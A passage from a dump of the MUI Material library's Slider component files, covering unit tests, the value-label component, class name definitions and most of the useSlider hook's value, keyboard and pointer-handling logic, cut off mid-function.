expect(handleEvent.firstCall.args[0]).to.have.property('target', slider);\n  });\n\n  describe('dragging state', () => {\n    it('should not apply class name for click modality', () => {\n      const { container } = render(<Slider defaultValue={90} />);\n\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 10,\n        bottom: 10,\n        left: 0,\n      }));\n\n      fireEvent.touchStart(\n        container.firstChild,\n        createTouches([{ identifier: 1, clientX: 20, clientY: 0 }]),\n      );\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 21, clientY: 0 }]),\n      );\n      expect(container.firstChild).not.to.have.class(classes.dragging);\n      fireEvent.touchEnd(document.body, createTouches([{ identifier: 1 }]));\n    });\n\n    it('should apply class name for dragging modality', () => {\n      const { container } = render(<Slider defaultValue={90} />);\n\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 10,\n        bottom: 10,\n        left: 0,\n      }));\n\n      fireEvent.touchStart(\n        container.firstChild,\n        createTouches([{ identifier: 1, clientX: 20, clientY: 0 }]),\n      );\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 200, clientY: 0 }]),\n      );\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 200, clientY: 0 }]),\n      );\n\n      expect(container.firstChild).not.to.have.class(classes.dragging);\n\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 200, clientY: 0 }]),\n      );\n\n      expect(container.firstChild).to.have.class(classes.dragging);\n      fireEvent.touchEnd(document.body, createTouches([{ identifier: 1 }]));\n      expect(container.firstChild).not.to.have.class(classes.dragging);\n    });\n  });\n\n  it('should remove the slider from the tab sequence', () => {\n    render(<Slider tabIndex={-1} value={30} />);\n    expect(screen.getByRole('slider')).to.have.property('tabIndex', -1);\n  });\n\n  describe('prop: disableSwap', () => {\n    it('should bound the value when using the keyboard', () => {\n      const handleChange = spy();\n\n      render(<Slider defaultValue={[20, 30]} disableSwap onChange={handleChange} />);\n\n      const [slider1, slider2] = screen.getAllByRole('slider');\n\n      act(() => {\n        slider1.focus();\n      });\n      fireEvent.change(slider2, { target: { value: '19' } });\n      expect(handleChange.args[0][1]).to.deep.equal([20, 20]);\n      expect(document.activeElement).to.have.attribute('data-index', '1');\n    });\n\n    it('should bound the value when using the mouse', () => {\n      const handleChange = spy();\n      const { container } = render(\n        <Slider defaultValue={[20, 30]} disableSwap onChange={handleChange} />,\n      );\n\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 10,\n        bottom: 10,\n        left: 0,\n      }));\n\n      fireEvent.touchStart(\n        container.firstChild,\n        createTouches([{ identifier: 1, clientX: 35, clientY: 0 }]),\n      );\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 19, clientY: 0 }]),\n      );\n      expect(handleChange.args[0][1]).to.deep.equal([20, 35]);\n      expect(handleChange.args[1][1]).to.deep.equal([20, 20]);\n      expect(document.activeElement).to.have.attribute('data-index', '1');\n    });\n\n    it('should bound the value when moving the first behind the second', () => {\n      const handleChange = spy();\n      const { container } = render(\n        <Slider defaultValue={[20, 30]} disableSwap onChange={handleChange} />,\n      );\n\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        height: 10,\n        bottom: 10,\n        left: 0,\n      }));\n\n      fireEvent.touchStart(\n        container.firstChild,\n        createTouches([{ identifier: 1, clientX: 15, clientY: 0 }]),\n      );\n      fireEvent.touchMove(\n        document.body,\n        createTouches([{ identifier: 1, clientX: 40, clientY: 0 }]),\n      );\n      expect(handleChange.args[0][1]).to.deep.equal([15, 30]);\n      expect(handleChange.args[1][1]).to.deep.equal([30, 30]);\n      expect(document.activeElement).to.have.attribute('data-index', '0');\n    });\n  });\n\n  describe('prop: size', () => {\n    it('should render default slider', () => {\n      render(<Slider />);\n\n      const root = document.querySelector(`.${classes.root}`);\n      const thumb = document.querySelector(`.${classes.thumb}`);\n      expect(root).not.to.have.class(classes.sizeSmall);\n      expect(thumb).not.to.equal(null);\n    });\n\n    it('should render small slider', () => {\n      render(<Slider size=\"small\" />);\n\n      const root = document.querySelector(`.${classes.root}`);\n      const thumb = document.querySelector(`.${classes.thumb}`);\n      expect(root).to.have.class(classes.sizeSmall);\n      expect(thumb).not.to.equal(null);\n    });\n  });\n\n  describe('prop: slots', () => {\n    it('should render custom components if specified', () => {\n      // ARRANGE\n      const dataTestId = 'slider-input-testid';\n      const name = 'custom-input';\n      function CustomInput({ ownerState, ...props }) {\n        return <input {...props} data-testid={dataTestId} name={name} />;\n      }\n\n      render(<Slider slots={{ input: CustomInput }} />);\n\n      // ASSERT\n      expect(screen.getByTestId(dataTestId).name).to.equal(name);\n    });\n  });\n\n  describe('prop: slotProps', () => {\n    it('should forward the props to their respective components', () => {\n      // ARRANGE\n      const dataTestId = 'slider-input-testid';\n      const id = 'slider-input-id';\n\n      render(<Slider defaultValue={10} slotProps={{ input: { 'data-testid': dataTestId, id } }} />);\n\n      // ASSERT\n      expect(screen.getByTestId(dataTestId).id).to.equal(id);\n    });\n  });\n\n  it.skipIf(isJsdom())('marked slider should be customizable in the theme', function test() {\n    const theme = createTheme({\n      components: {\n        MuiSlider: {\n          styleOverrides: {\n            marked: {\n              marginTop: 40,\n              marginBottom: 0,\n            },\n          },\n        },\n      },\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Slider\n          marks={[\n            { label: '1', value: 1 },\n            { label: '2', value: 2 },\n          ]}\n          step={null}\n        />\n      </ThemeProvider>,\n    );\n\n    expect(container.querySelector(`.${classes.marked}`)).toHaveComputedStyle({\n      marginTop: '40px',\n      marginBottom: '0px',\n    });\n  });\n\n  it.skipIf(isJsdom())('active marks should be customizable in theme', function test() {\n    const theme = createTheme({\n      components: {\n        MuiSlider: {\n          styleOverrides: {\n            markActive: {\n              height: '10px',\n              width: '10px',\n            },\n          },\n        },\n      },\n    });\n\n    const { container } = render(\n      <ThemeProvider theme={theme}>\n        <Slider value={2} min={1} max={3} step={1} marks />\n      </ThemeProvider>,\n    );\n\n    expect(container.querySelector(`.${classes.markActive}`)).toHaveComputedStyle({\n      height: '10px',\n      width: '10px',\n    });\n  });\n\n  describe('When the onMouseUp event occurs at a different location than the last onChange event', () => {\n    it('should pass onChangeCommitted the same value that was passed to the last onChange event', () => {\n      const handleChange = spy();\n      const handleChangeCommitted = spy();\n\n      const { container } = render(\n        <Slider onChange={handleChange} onChangeCommitted={handleChangeCommitted} value={0} />,\n      );\n      stub(container.firstChild, 'getBoundingClientRect').callsFake(() => ({\n        width: 100,\n        left: 0,\n      }));\n\n      fireEvent.mouseDown(container.firstChild, {\n        buttons: 1,\n        clientX: 10,\n      });\n      fireEvent.mouseMove(container.firstChild, {\n        buttons: 1,\n        clientX: 15,\n      });\n      fireEvent.mouseUp(container.firstChild, {\n        buttons: 1,\n        clientX: 20,\n      });\n\n      expect(handleChange.callCount).to.equal(2);\n      expect(handleChange.args[0][1]).to.equal(10);\n      expect(handleChange.args[1][1]).to.equal(15);\n      expect(handleChangeCommitted.callCount).to.equal(1);\n      expect(handleChangeCommitted.args[0][1]).to.equal(15);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Slider/SliderValueLabel.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { SliderValueLabelProps } from './SliderValueLabel.types';\nimport sliderClasses from './sliderClasses';\n\nconst useValueLabelClasses = (props: SliderValueLabelProps) => {\n  const { open } = props;\n\n  const utilityClasses = {\n    offset: clsx({\n      [sliderClasses.valueLabelOpen]: open,\n    }),\n    circle: sliderClasses.valueLabelCircle,\n    label: sliderClasses.valueLabelLabel,\n  };\n\n  return utilityClasses;\n};\n\n/**\n * @ignore - internal component.\n */\nexport default function SliderValueLabel(props: SliderValueLabelProps) {\n  const { children, className, value } = props;\n  const classes = useValueLabelClasses(props);\n\n  if (!children) {\n    return null;\n  }\n\n  return React.cloneElement(\n    children,\n    {\n      className: children.props.className,\n    },\n    <React.Fragment>\n      {children.props.children}\n      <span className={clsx(classes.offset, className)} aria-hidden>\n        <span className={classes.circle}>\n          <span className={classes.label}>{value}</span>\n        </span>\n      </span>\n    </React.Fragment>,\n  );\n}\n\nSliderValueLabel.propTypes = {\n  children: PropTypes.element.isRequired,\n  className: PropTypes.string,\n  value: PropTypes.node,\n} as any;\n"
  },
  {
    "path": "packages/mui-material/src/Slider/SliderValueLabel.types.ts",
    "content": "export interface SliderValueLabelProps {\n  children?:\n    | React.ReactElement<{ className?: string | undefined; children?: React.ReactNode }>\n    | undefined;\n  className?: string | undefined;\n  style?: React.CSSProperties | undefined;\n  /**\n   * If `true`, the value label is visible.\n   */\n  open: boolean;\n  /**\n   * The value of the slider.\n   */\n  value: React.ReactNode;\n  /**\n   * Controls when the value label is displayed:\n   *\n   * - `auto` the value label will display when the thumb is hovered or focused.\n   * - `on` will display persistently.\n   * - `off` will never display.\n   * @default 'off'\n   */\n  valueLabelDisplay?: 'on' | 'auto' | 'off' | undefined;\n}\n"
  },
  {
    "path": "packages/mui-material/src/Slider/index.d.ts",
    "content": "export { default } from './Slider';\nexport * from './Slider';\n\nexport { default as sliderClasses } from './sliderClasses';\nexport * from './sliderClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Slider/index.js",
    "content": "export { default } from './Slider';\nexport * from './Slider';\n\nexport { default as sliderClasses } from './sliderClasses';\nexport * from './sliderClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Slider/sliderClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SliderClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `color=\"error\"`. */\n  colorError: string;\n  /** Styles applied to the root element if `color=\"info\"`. */\n  colorInfo: string;\n  /** Styles applied to the root element if `color=\"success\"`. */\n  colorSuccess: string;\n  /** Styles applied to the root element if `color=\"warning\"`. */\n  colorWarning: string;\n  /** Styles applied to the root element if `marks` is provided with at least one label. */\n  marked: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** State class applied to the root and thumb element if `disabled={true}`. */\n  disabled: string;\n  /** State class applied to the root if a thumb is being dragged. */\n  dragging: string;\n  /** Styles applied to the rail element. */\n  rail: string;\n  /** Styles applied to the track element. */\n  track: string;\n  /** Styles applied to the root element if `track={false}`. */\n  trackFalse: string;\n  /** Styles applied to the root element if `track=\"inverted\"`. */\n  trackInverted: string;\n  /** Styles applied to the thumb element. */\n  thumb: string;\n  /** State class applied to the thumb element if it's active. */\n  active: string;\n  /** State class applied to the thumb element if keyboard focused. */\n  focusVisible: string;\n  /** Styles applied to the mark element. */\n  mark: string;\n  /** Styles applied to the mark element if active (depending on the value). */\n  markActive: string;\n  /** Styles applied to the mark label element. */\n  markLabel: string;\n  /** Styles applied to the mark label element if active (depending on the value). */\n  markLabelActive: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the thumb label element. */\n  valueLabel: string;\n  /** Styles applied to the thumb label element if it's open. */\n  valueLabelOpen: string;\n  /** Styles applied to the thumb label's circle element. */\n  valueLabelCircle: string;\n  /** Styles applied to the thumb label's label element. */\n  valueLabelLabel: string;\n}\n\nexport type SliderClassKey = keyof SliderClasses;\n\nexport function getSliderUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiSlider', slot);\n}\n\nconst sliderClasses: SliderClasses = generateUtilityClasses('MuiSlider', [\n  'root',\n  'active',\n  'colorPrimary',\n  'colorSecondary',\n  'colorError',\n  'colorInfo',\n  'colorSuccess',\n  'colorWarning',\n  'disabled',\n  'dragging',\n  'focusVisible',\n  'mark',\n  'markActive',\n  'marked',\n  'markLabel',\n  'markLabelActive',\n  'rail',\n  'sizeSmall',\n  'thumb',\n  'track',\n  'trackInverted',\n  'trackFalse',\n  'valueLabel',\n  'valueLabelOpen',\n  'valueLabelCircle',\n  'valueLabelLabel',\n  'vertical',\n]);\n\nexport default sliderClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Slider/useSlider.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, screen, fireEvent } from '@mui/internal-test-utils';\nimport { useSlider } from './useSlider';\n\ndescribe('useSlider', () => {\n  const { render } = createRenderer();\n\n  describe('getRootProps', () => {\n    it('forwards external props including event handlers', () => {\n      const rootRef = React.createRef();\n\n      const handleClick = spy();\n\n      function Test() {\n        const { getRootProps } = useSlider({\n          rootRef,\n          marks: [\n            {\n              label: 'One',\n              value: 1,\n            },\n          ],\n        });\n\n        return (\n          <div {...getRootProps({ 'data-testid': 'test-slider-root', onClick: handleClick })} />\n        );\n      }\n\n      render(<Test />);\n\n      const slider = screen.getByTestId('test-slider-root');\n      expect(slider).not.to.equal(null);\n      expect(rootRef.current).to.deep.equal(slider);\n\n      fireEvent.click(slider);\n      expect(handleClick.callCount).to.equal(1);\n    });\n  });\n\n  describe('getHiddenInputProps', () => {\n    function Test(\n      props = {\n        slotProps: {\n          input: {},\n        },\n      },\n    ) {\n      const { getRootProps, getThumbProps, getHiddenInputProps } = useSlider({\n        marks: [\n          {\n            label: 'One',\n            value: 1,\n          },\n        ],\n      });\n\n      return (\n        <div {...getRootProps()}>\n          <div {...getThumbProps()}>\n            <input\n              value={1}\n              {...getHiddenInputProps({ 'data-testid': 'test-input', ...props.slotProps.input })}\n            />\n          </div>\n        </div>\n      );\n    }\n\n    it('forwards external props including event handlers', () => {\n      const handleClick = spy();\n      render(\n        <Test\n          slotProps={{\n            input: {\n              onClick: handleClick,\n            },\n          }}\n        />,\n      );\n\n      const input = screen.getByTestId('test-input');\n      expect(input).not.to.equal(null);\n\n      fireEvent.click(input);\n      expect(handleClick.callCount).to.equal(1);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Slider/useSlider.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport ownerDocument from '@mui/utils/ownerDocument';\nimport useControlled from '@mui/utils/useControlled';\nimport useEnhancedEffect from '@mui/utils/useEnhancedEffect';\nimport useEventCallback from '@mui/utils/useEventCallback';\nimport useForkRef from '@mui/utils/useForkRef';\nimport isFocusVisible from '@mui/utils/isFocusVisible';\nimport visuallyHidden from '@mui/utils/visuallyHidden';\nimport clamp from '@mui/utils/clamp';\nimport extractEventHandlers from '@mui/utils/extractEventHandlers';\nimport {\n  Mark,\n  UseSliderHiddenInputProps,\n  UseSliderParameters,\n  UseSliderReturnValue,\n  UseSliderRootSlotProps,\n  UseSliderThumbSlotProps,\n} from './useSlider.types';\nimport { EventHandlers } from '../utils/types';\nimport areArraysEqual from '../utils/areArraysEqual';\n\nconst INTENTIONAL_DRAG_COUNT_THRESHOLD = 2;\n\nfunction getNewValue(\n  currentValue: number,\n  step: number,\n  direction: 1 | -1,\n  min: number,\n  max: number,\n): number {\n  return direction === 1 ? Math.min(currentValue + step, max) : Math.max(currentValue - step, min);\n}\n\nfunction asc(a: number, b: number) {\n  return a - b;\n}\n\nfunction findClosest(values: number[], currentValue: number) {\n  const { index: closestIndex } =\n    values.reduce<{ distance: number; index: number } | null>(\n      (acc, value: number, index: number) => {\n        const distance = Math.abs(currentValue - value);\n\n        if (acc === null || distance < acc.distance || distance === acc.distance) {\n          return {\n            distance,\n            index,\n          };\n        }\n\n        return acc;\n      },\n      null,\n    ) ?? {};\n  return closestIndex;\n}\n\nfunction trackFinger(\n  event: TouchEvent | MouseEvent | React.MouseEvent,\n  touchId: React.RefObject<any>,\n) {\n  // The event is TouchEvent\n  if (touchId.current !== undefined && (event as TouchEvent).changedTouches) {\n    const touchEvent = event as TouchEvent;\n    for (let i = 0; i < touchEvent.changedTouches.length; i += 1) {\n      const touch = touchEvent.changedTouches[i];\n      if (touch.identifier === touchId.current) {\n        return {\n          x: touch.clientX,\n          y: touch.clientY,\n        };\n      }\n    }\n\n    return false;\n  }\n\n  // The event is MouseEvent\n  return {\n    x: (event as MouseEvent).clientX,\n    y: (event as MouseEvent).clientY,\n  };\n}\n\nexport function valueToPercent(value: number, min: number, max: number) {\n  return ((value - min) * 100) / (max - min);\n}\n\nfunction percentToValue(percent: number, min: number, max: number) {\n  return (max - min) * percent + min;\n}\n\nfunction getDecimalPrecision(num: number) {\n  // This handles the case when num is very small (0.00000001), js will turn this into 1e-8.\n  // When num is bigger than 1 or less than -1 it won't get converted to this notation so it's fine.\n  if (Math.abs(num) < 1) {\n    const parts = num.toExponential().split('e-');\n    const matissaDecimalPart = parts[0].split('.')[1];\n    return (matissaDecimalPart ? matissaDecimalPart.length : 0) + parseInt(parts[1], 10);\n  }\n\n  const decimalPart = num.toString().split('.')[1];\n  return decimalPart ? decimalPart.length : 0;\n}\n\nfunction roundValueToStep(value: number, step: number, min: number) {\n  const nearest = Math.round((value - min) / step) * step + min;\n  return Number(nearest.toFixed(getDecimalPrecision(step)));\n}\n\nfunction setValueIndex({\n  values,\n  newValue,\n  index,\n}: {\n  values: number[];\n  newValue: number;\n  index: number;\n}) {\n  const output = values.slice();\n  output[index] = newValue;\n  return output.sort(asc);\n}\n\nfunction focusThumb({\n  sliderRef,\n  activeIndex,\n  setActive,\n  focusVisible,\n}: {\n  sliderRef: React.RefObject<any>;\n  activeIndex: number;\n  setActive?: ((num: number) => void) | undefined;\n  focusVisible?: boolean | undefined;\n}) {\n  const doc = ownerDocument(sliderRef.current);\n  if (\n    !sliderRef.current?.contains(doc.activeElement) ||\n    Number(doc?.activeElement?.getAttribute('data-index')) !== activeIndex\n  ) {\n    const input = sliderRef.current?.querySelector(\n      `[type=\"range\"][data-index=\"${activeIndex}\"]`,\n    ) as HTMLInputElement | null;\n    if (input != null) {\n      if (focusVisible === undefined) {\n        input.focus({ preventScroll: true });\n      } else {\n        input.focus({\n          preventScroll: true,\n          // Prevent pointer-driven focus rings in browsers that support this option.\n          // Chrome 144+ supports `focusVisible` in `HTMLElement.focus()` options.\n          // @ts-ignore - `focusVisible` is not yet in TypeScript's lib.dom FocusOptions.\n          focusVisible,\n        });\n      }\n    }\n  }\n\n  if (setActive) {\n    setActive(activeIndex);\n  }\n}\n\nfunction areValuesEqual(\n  newValue: number | ReadonlyArray<number>,\n  oldValue: number | ReadonlyArray<number>,\n): boolean {\n  if (typeof newValue === 'number' && typeof oldValue === 'number') {\n    return newValue === oldValue;\n  }\n  if (typeof newValue === 'object' && typeof oldValue === 'object') {\n    return areArraysEqual(newValue, oldValue);\n  }\n  return false;\n}\n\nconst axisProps = {\n  horizontal: {\n    offset: (percent: number) => ({ left: `${percent}%` }),\n    leap: (percent: number) => ({ width: `${percent}%` }),\n  },\n  'horizontal-reverse': {\n    offset: (percent: number) => ({ right: `${percent}%` }),\n    leap: (percent: number) => ({ width: `${percent}%` }),\n  },\n  vertical: {\n    offset: (percent: number) => ({ bottom: `${percent}%` }),\n    leap: (percent: number) => ({ height: `${percent}%` }),\n  },\n};\n\nexport const Identity = (x: any) => x;\n\n// TODO: remove support for Safari < 13.\n// https://caniuse.com/#search=touch-action\n//\n// Safari, on iOS, supports touch action since v13.\n// Over 80% of the iOS phones are compatible\n// in August 2020.\n// Utilizing the CSS.supports method to check if touch-action is supported.\n// Since CSS.supports is supported on all but Edge@12 and IE and touch-action\n// is supported on both Edge@12 and IE if CSS.supports is not available that means that\n// touch-action will be supported\nlet cachedSupportsTouchActionNone: any;\nfunction doesSupportTouchActionNone() {\n  if (cachedSupportsTouchActionNone === undefined) {\n    if (typeof CSS !== 'undefined' && typeof CSS.supports === 'function') {\n      cachedSupportsTouchActionNone = CSS.supports('touch-action', 'none');\n    } else {\n      cachedSupportsTouchActionNone = true;\n    }\n  }\n  return cachedSupportsTouchActionNone;\n}\n\nexport function useSlider(parameters: UseSliderParameters): UseSliderReturnValue {\n  const {\n    'aria-labelledby': ariaLabelledby,\n    defaultValue,\n    disabled = false,\n    disableSwap = false,\n    isRtl = false,\n    marks: marksProp = false,\n    max = 100,\n    min = 0,\n    name,\n    onChange,\n    onChangeCommitted,\n    orientation = 'horizontal',\n    rootRef: ref,\n    scale = Identity,\n    step = 1,\n    shiftStep = 10,\n    tabIndex,\n    value: valueProp,\n  } = parameters;\n\n  const touchId = React.useRef<number>(undefined);\n  const focusFrame = React.useRef<number | null>(null);\n  // We can't use the :active browser pseudo-classes.\n  // - The active state isn't triggered when clicking on the rail.\n  // - The active state isn't transferred when inversing a range slider.\n  const [active, setActive] = React.useState(-1);\n  const [open, setOpen] = React.useState(-1);\n  const [dragging, setDragging] = React.useState(false);\n  const moveCount = React.useRef(0);\n  const cancelFocusFrame = useEventCallback(() => {\n    if (focusFrame.current != null) {\n      cancelAnimationFrame(focusFrame.current);\n      focusFrame.current = null;\n    }\n  });\n  // lastChangedValue is updated whenever onChange is triggered.\n  const lastChangedValue = React.useRef<number | number[] | null>(null);\n\n  const [valueDerived, setValueState] = useControlled({\n    controlled: valueProp,\n    default: defaultValue ?? min,\n    name: 'Slider',\n  });\n\n  const handleChange =\n    onChange &&\n    ((event: Event | React.SyntheticEvent, value: number | number[], thumbIndex: number) => {\n      // Redefine target to allow name and value to be read.\n      // This allows seamless integration with the most popular form libraries.\n      // https://github.com/mui/material-ui/issues/13485#issuecomment-676048492\n      // Clone the event to not override `target` of the original event.\n      const nativeEvent = (event as React.SyntheticEvent).nativeEvent || event;\n      // @ts-ignore The nativeEvent is function, not object\n      const clonedEvent = new nativeEvent.constructor(nativeEvent.type, nativeEvent);\n\n      Object.defineProperty(clonedEvent, 'target', {\n        writable: true,\n        value: { value, name },\n      });\n\n      lastChangedValue.current = value;\n      onChange(clonedEvent, value, thumbIndex);\n    });\n\n  const range = Array.isArray(valueDerived);\n  let values = range ? valueDerived.slice().sort(asc) : [valueDerived];\n  values = values.map((value) => (value == null ? min : clamp(value, min, max)));\n\n  const marks =\n    marksProp === true && step !== null\n      ? [...Array(Math.floor((max - min) / step) + 1)].map((_, index) => ({\n          value: min + step * index,\n        }))\n      : marksProp || [];\n\n  const marksValues = (marks as readonly Mark[]).map((mark: Mark) => mark.value);\n\n  const [focusedThumbIndex, setFocusedThumbIndex] = React.useState(-1);\n\n  const sliderRef = React.useRef<HTMLSpanElement>(null);\n  const handleRef = useForkRef(ref, sliderRef);\n\n  const createHandleHiddenInputFocus =\n    (otherHandlers: EventHandlers) => (event: React.FocusEvent) => {\n      const index = Number(event.currentTarget.getAttribute('data-index'));\n      if (isFocusVisible(event.target)) {\n        setFocusedThumbIndex(index);\n      }\n      setOpen(index);\n      otherHandlers?.onFocus?.(event);\n    };\n  const createHandleHiddenInputBlur =\n    (otherHandlers: EventHandlers) => (event: React.FocusEvent) => {\n      if (!isFocusVisible(event.target)) {\n        setFocusedThumbIndex(-1);\n      }\n      setOpen(-1);\n      otherHandlers?.onBlur?.(event);\n    };\n\n  const changeValue = (event: React.KeyboardEvent | React.ChangeEvent, valueInput: number) => {\n    const index = Number(event.currentTarget.getAttribute('data-index'));\n    const value = values[index];\n    const marksIndex = marksValues.indexOf(value);\n\n    let newValue: number | number[] = valueInput;\n    if (marks && step == null) {\n      const maxMarksValue = marksValues[marksValues.length - 1];\n      if (newValue >= maxMarksValue) {\n        newValue = maxMarksValue;\n      } else if (newValue <= marksValues[0]) {\n        newValue = marksValues[0];\n      } else {\n        newValue = newValue < value ? marksValues[marksIndex - 1] : marksValues[marksIndex + 1];\n      }\n    }\n\n    newValue = clamp(newValue, min, max);\n\n    if (range) {\n      // Bound the new value to the thumb's neighbours.\n      if (disableSwap) {\n        newValue = clamp(newValue, values[index - 1] || -Infinity, values[index + 1] || Infinity);\n      }\n\n      const previousValue = newValue;\n      newValue = setValueIndex({\n        values,\n        newValue,\n        index,\n      });\n\n      let activeIndex = index;\n\n      // Potentially swap the index if needed.\n      if (!disableSwap) {\n        activeIndex = newValue.indexOf(previousValue);\n      }\n\n      focusThumb({ sliderRef, activeIndex });\n    }\n\n    setValueState(newValue);\n    setFocusedThumbIndex(index);\n\n    if (handleChange && !areValuesEqual(newValue, valueDerived)) {\n      handleChange(event, newValue, index);\n    }\n\n    if (onChangeCommitted) {\n      onChangeCommitted(event, lastChangedValue.current ?? newValue);\n    }\n  };\n\n  const createHandleHiddenInputKeyDown =\n    (otherHandlers: EventHandlers) => (event: React.KeyboardEvent<HTMLInputElement>) => {\n      if (\n        [\n          'ArrowUp',\n          'ArrowDown',\n          'ArrowLeft',\n          'ArrowRight',\n          'PageUp',\n          'PageDown',\n          'Home',\n          'End',\n        ].includes(event.key)\n      ) {\n        event.preventDefault();\n        const index = Number(event.currentTarget.getAttribute('data-index'));\n        const value = values[index];\n        let newValue = null;\n        // Keys actions that change the value by more than the most granular `step`\n        // value are only applied if the step not `null`.\n        // When step is `null`, the `marks` prop is used instead to define valid values.\n        if (step != null) {\n          const stepSize = event.shiftKey ? shiftStep : step;\n          switch (event.key) {\n            case 'ArrowUp':\n              newValue = getNewValue(value, stepSize, 1, min, max);\n              break;\n            case 'ArrowRight':\n              newValue = getNewValue(value, stepSize, isRtl ? -1 : 1, min, max);\n              break;\n            case 'ArrowDown':\n              newValue = getNewValue(value, stepSize, -1, min, max);\n              break;\n            case 'ArrowLeft':\n              newValue = getNewValue(value, stepSize, isRtl ? 1 : -1, min, max);\n              break;\n            case 'PageUp':\n              newValue = getNewValue(value, shiftStep, 1, min, max);\n              break;\n            case 'PageDown':\n              newValue = getNewValue(value, shiftStep, -1, min, max);\n              break;\n            case 'Home':\n              newValue = min;\n              break;\n            case 'End':\n              newValue = max;\n              break;\n            default:\n              break;\n          }\n        } else if (marks) {\n          const maxMarksValue = marksValues[marksValues.length - 1];\n          const currentMarkIndex = marksValues.indexOf(value);\n\n          const decrementKeys = [\n            isRtl ? 'ArrowRight' : 'ArrowLeft',\n            'ArrowDown',\n            'PageDown',\n            'Home',\n          ];\n          const incrementKeys = [isRtl ? 'ArrowLeft' : 'ArrowRight', 'ArrowUp', 'PageUp', 'End'];\n\n          if (decrementKeys.includes(event.key)) {\n            if (currentMarkIndex === 0) {\n              newValue = marksValues[0];\n            } else {\n              newValue = marksValues[currentMarkIndex - 1];\n            }\n          } else if (incrementKeys.includes(event.key)) {\n            if (currentMarkIndex === marksValues.length - 1) {\n              newValue = maxMarksValue;\n            } else {\n              newValue = marksValues[currentMarkIndex + 1];\n            }\n          }\n        }\n\n        if (newValue != null) {\n          changeValue(event, newValue);\n        }\n      }\n\n      otherHandlers?.onKeyDown?.(event);\n    };\n\n  useEnhancedEffect(() => {\n    if (disabled && sliderRef.current!.contains(document.activeElement)) {\n      // This is necessary because Firefox and Safari will keep focus\n      // on a disabled element:\n      // https://codesandbox.io/p/sandbox/mui-pr-22247-forked-h151h?file=/src/App.js\n      // @ts-ignore\n      document.activeElement?.blur();\n    }\n  }, [disabled]);\n\n  if (disabled && active !== -1) {\n    setActive(-1);\n  }\n  if (disabled && focusedThumbIndex !== -1) {\n    setFocusedThumbIndex(-1);\n  }\n\n  const createHandleHiddenInputChange =\n    (otherHandlers: EventHandlers) => (event: React.ChangeEvent) => {\n      otherHandlers.onChange?.(event);\n      // this handles value change by Pointer or Touch events\n      // @ts-ignore\n      changeValue(event, event.target.valueAsNumber);\n    };\n\n  const previousIndex = React.useRef<number>(undefined);\n  let axis = orientation;\n  if (isRtl && orientation === 'horizontal') {\n    axis += '-reverse';\n  }\n\n  const getFingerNewValue = ({\n    finger,\n    move = false,\n  }: {\n    finger: { x: number; y: number };\n    move?: boolean | undefined;\n  }) => {\n    const { current: slider } = sliderRef;\n    const { width, height, bottom, left } = slider!.getBoundingClientRect();\n    let percent;\n\n    if (axis.startsWith('vertical')) {\n      percent = (bottom - finger.y) / height;\n    } else {\n      percent = (finger.x - left) / width;\n    }\n\n    if (axis.includes('-reverse')) {\n      percent = 1 - percent;\n    }\n\n    let newValue;\n    newValue = percentToValue(percent, min, max);\n    if (step) {\n      newValue = roundValueToStep(newValue, step, min);\n    } else {\n      const closestIndex = findClosest(marksValues, newValue);\n      newValue = marksValues[closestIndex!];\n    }\n\n    newValue = clamp(newValue, min, max);\n    let activeIndex = 0;\n\n    if (range) {\n      if (!move) {\n        activeIndex = findClosest(values, newValue)!;\n      } else {\n        activeIndex = previousIndex.current!;\n      }\n\n      // Bound the new value to the thumb's neighbours.\n      if (disableSwap) {\n        newValue = clamp(\n          newValue,\n          values[activeIndex - 1] || -Infinity,\n          values[activeIndex + 1] || Infinity,\n        );\n      }\n\n      const previousValue = newValue;\n      newValue = setValueIndex({\n        values,\n        newValue,\n        index: activeIndex,\n      });\n\n      // Potentially swap the index if needed.\n      if (!(disableSwap && move)) {\n        activeIndex = newValue.indexOf(previousValue);\n        previousIndex.current = activeIndex;\n      }\n    }\n\n    return { newValue, activeIndex };\n  };\n\n  const handleTouchMove = useEventCallback((nativeEvent: TouchEvent | MouseEvent) => {\n    const finger = trackFinger(nativeEvent, touchId);\n\n    if (!finger) {\n      return;\n    }\n\n    moveCount.current += 1;\n\n    // Cancel move in case some other element consumed a mouseup event and it was not fired.\n    // @ts-ignore buttons doesn't not exists on touch event\n    if (nativeEvent.type === 'mousemove' && nativeEvent.buttons === 0) {\n      // eslint-disable-next-line @typescript-eslint/no-use-before-define\n      handleTouchEnd(nativeEvent);\n      return;\n    }\n\n    const { newValue, activeIndex } = getFingerNewValue({\n      finger,\n      move: true,\n    });\n\n    focusThumb({ sliderRef, 